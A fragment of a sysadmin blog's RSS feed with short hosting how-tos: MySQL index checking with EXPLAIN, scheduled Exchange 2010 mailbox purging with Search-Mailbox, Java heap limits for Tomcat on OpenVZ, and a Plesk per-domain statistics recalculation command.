<p>+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>3 rows in set (0.00 sec)</p>
<p># Very good.</p>
<p># Now, check to see if your index actually improved anything.</p>
<p># First, check with the EXPLAIN statement.  Much better!</p>
<p>mysql&gt; EXPLAIN SELECT msgs.*, username AS sender_username FROM msgs INNER JOIN users ON (users.id = msgs.sender_id) WHERE user_id=939 AND msgs.status != 1 AND del != 2 ORDER BY date DESC;</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+</p>
<p>| table | type   | possible_keys                 | key           | key_len | ref            | rows | Extra                      |</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+</p>
<p>| msgs  | ref    | user_id_index,sender_id_index | user_id_index |       8 | const          |  635 | where used; Using filesort |</p>
<p>| users | eq_ref | PRIMARY                       | PRIMARY       |       8 | msgs.sender_id |    1 |                            |</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+</p>
<p>2 rows in set (0.00 sec)</p>
<p>mysql&gt;</p>
<p># Now check the time it takes the query to complete.</p>
<p># Only 0.01 seconds to complete.  Much faster.</p>
<p>mysql&gt; SELECT count(*) FROM msgs INNER JOIN users ON (users.id = msgs.sender_id) WHERE user_id=939 AND msgs.status != 1 AND del != 2 ORDER BY date DESC;</p>
<p>+&#8212;&#8212;&#8212;-+</p>
<p>| count(*) |</p>
<p>+&#8212;&#8212;&#8212;-+</p>
<p>|      631 |</p>
<p>+&#8212;&#8212;&#8212;-+</p>
<p>1 row in set (0.01 sec)</p>
<p># Now start watching tail -f /var/lib/mysql/mysql-slow.log</p>
<p># to find out more tables that should be indexed</p>
<p>tail -f /var/lib/mysql/mysql-slow.log</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/optimize-mysql-serverqueries/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to delete emails on MS Exchange server 2010 SP1</title>
		<link>http://tech-stuff.org/how-to-delete-emails-on-ms-exchange-server-2010-sp1/</link>
		<comments>http://tech-stuff.org/how-to-delete-emails-on-ms-exchange-server-2010-sp1/#comments</comments>
		<pubDate>Tue, 08 Feb 2011 17:12:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=178</guid>
		<description><![CDATA[You can use two solutions to automatically delete/empty mailbox on a MS Exchange Server 2010 SP1. 1) Since MS Exchange 2010 SP1 you can use Retention policies with Retention policy tags , per mailbox , easy to setup and very helpful Emails can be auto-deleted by being marked with policy tags and after that Managed [...]]]></description>
			<content:encoded><![CDATA[<p>You can use two solutions to automatically delete/empty mailbox on a MS Exchange Server 2010 SP1.</p>
<p>1) Since MS Exchange 2010 SP1 you can use Retention policies with Retention policy tags , per mailbox , easy to setup and very helpful</p>
<p>Emails can be auto-deleted by being marked with policy tags and after that Managed Folder Assistant &#8220;daemon&#8221; is checking the aging all the emails .</p>
<p>2) you can setup (in scheduled task) an exchange shell script to delete this emails  :</p>
<p>in task scheduler add a &#8220;dos&#8221; script  (ex. emptybox.bat):</p>
<div id="_mcePaste">PowerShell.exe -command &#8220;. &#8216;c:\Program Files\Microsoft\Exchange Server\V14\bin\RemoteExchange.ps1&#8242;; Connect-ExchangeServer -auto; C:\Scripts\cleanmbox.ps1&#8243;</div>
<div></div>
<div>and in cleanmbox.ps1 you have to set the exchange shell comand</div>
<div>Search-Mailbox -Identity &#8220;mailbox id1&#8243; -DeleteContent -Force</div>
<div>Search-Mailbox -Identity &#8220;mailbox id2&#8243; -DeleteContent -Force</div>
<div></div>
<div>-you can set several commands in the same file to empty mailbox for multiple accounts</div>
<div>-use &#8220;-Force&#8221; to avoid confirmation dialogs</div>
<div>-you may have to add &#8220;Mailbox Import Export Role&#8221; to a Role Group (<a href="http://technet.microsoft.com/en-us/library/ee633452.aspx">http://technet.microsoft.com/en-us/library/ee633452.aspx</a>)</div>
<div>Read more in this regarding other options for Search-Mailbox :<a href="http://technet.microsoft.com/en-us/library/dd298173.aspx">http://technet.microsoft.com/en-us/library/dd298173.aspx</a></div>
<div>On earlier (e.g. exchange 2010 RTM) use : <span style="font-family: 'Courier New', Verdana, Arial, Helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #000066; white-space: pre-wrap;">Get-Mailbox -Database DB1 | Export-Mailbox -SubjectKeywords &#8220;Virus message&#8221; -DeleteContent</span></div>
<div></div>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/how-to-delete-emails-on-ms-exchange-server-2010-sp1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to free up some memory when using java on openvz vps</title>
		<link>http://tech-stuff.org/how-to-free-up-some-memory-when-using-java-on-openvz-vps/</link>
		<comments>http://tech-stuff.org/how-to-free-up-some-memory-when-using-java-on-openvz-vps/#comments</comments>
		<pubDate>Tue, 08 Feb 2011 13:22:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[openvz]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=173</guid>
		<description><![CDATA[First two easy way to free up some resources on a vps running java are: stopping java process and second, not even try to use java in a openvz VPS If you are forced to use java you can lower it&#8217;s memory usage by adding following option to java startup: -Xmx32m so you lower maximum [...]]]></description>
			<content:encoded><![CDATA[<p>First two easy way to free up some resources on a vps running java are: stopping java process and second, not even try to use java in a openvz VPS <img src='http://tech-stuff.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>If you are forced to use java you can lower it&#8217;s memory usage by adding following option to java startup: -Xmx32m so you lower maximum heap size .</p>
<p>You can try different values of heap size regarding of you java applications usage.</p>
<p>On Plesk panel you can set this in : /usr/share/tomcat5/bin/setenv.sh</p>
<p>On cPanel you can set it on : /usr/sbin/starttomcat like bellow:</p>
<div id="_mcePaste">#########################</div>
<div>system(</div>
<div id="_mcePaste">qw(</div>
<div id="_mcePaste">./jsvc</div>
<div id="_mcePaste">-user tomcat</div>
<div id="_mcePaste">-Xms64m</div>
<div id="_mcePaste">-Xmx64m</div>
<div id="_mcePaste">-cp ./bootstrap.jar</div>
<div id="_mcePaste">-Djava.endorsed.dirs=../common/endorsed</div>
<div id="_mcePaste">-outfile ../logs/catalina.out</div>
<div id="_mcePaste">-errfile ../logs/catalina.err</div>
<div id="_mcePaste">-verbose</div>
<div id="_mcePaste">)</div>
<div>###################################</div>
<div></div>
<div>or set additional java options by creating file : /var/cpanel/tomcat.options (may not work for some options).</div>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/how-to-free-up-some-memory-when-using-java-on-openvz-vps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recalculate stats and free space for only one domain in Plesk</title>
		<link>http://tech-stuff.org/recalculate-stats-and-free-space-for-only-one-domain-in-plesk/</link>
		<comments>http://tech-stuff.org/recalculate-stats-and-free-space-for-only-one-domain-in-plesk/#comments</comments>
		<pubDate>Tue, 11 Jan 2011 10:02:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[statistics]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=171</guid>
		<description><![CDATA[It’s useful if a client has gone over their allocated disk space. Occasionally even if they delete everything Plesk still thinks they are over until the nightly cron jobs are re-run. This command just forces the job to re-run on  a single domain: /usr/local/psa/admin/sbin/statistics –calculate-one –domain-name=Domain_name.com]]></description>
			<content:encoded><![CDATA[<p>It’s useful if a client has gone over their allocated disk space. Occasionally even if they delete everything Plesk still thinks they are over until the nightly cron jobs are re-run.</p>
<p>This command just forces the job to re-run on  a single domain:</p>
<p>/usr/local/psa/admin/sbin/statistics –calculate-one –domain-name=Domain_name.com</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/recalculate-stats-and-free-space-for-only-one-domain-in-plesk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 2/63 queries in 0.052 seconds using disk: basic
Object Caching 568/694 objects using disk: basic

Served from: tech-stuff.org @ 2012-05-20 15:55:42 -->
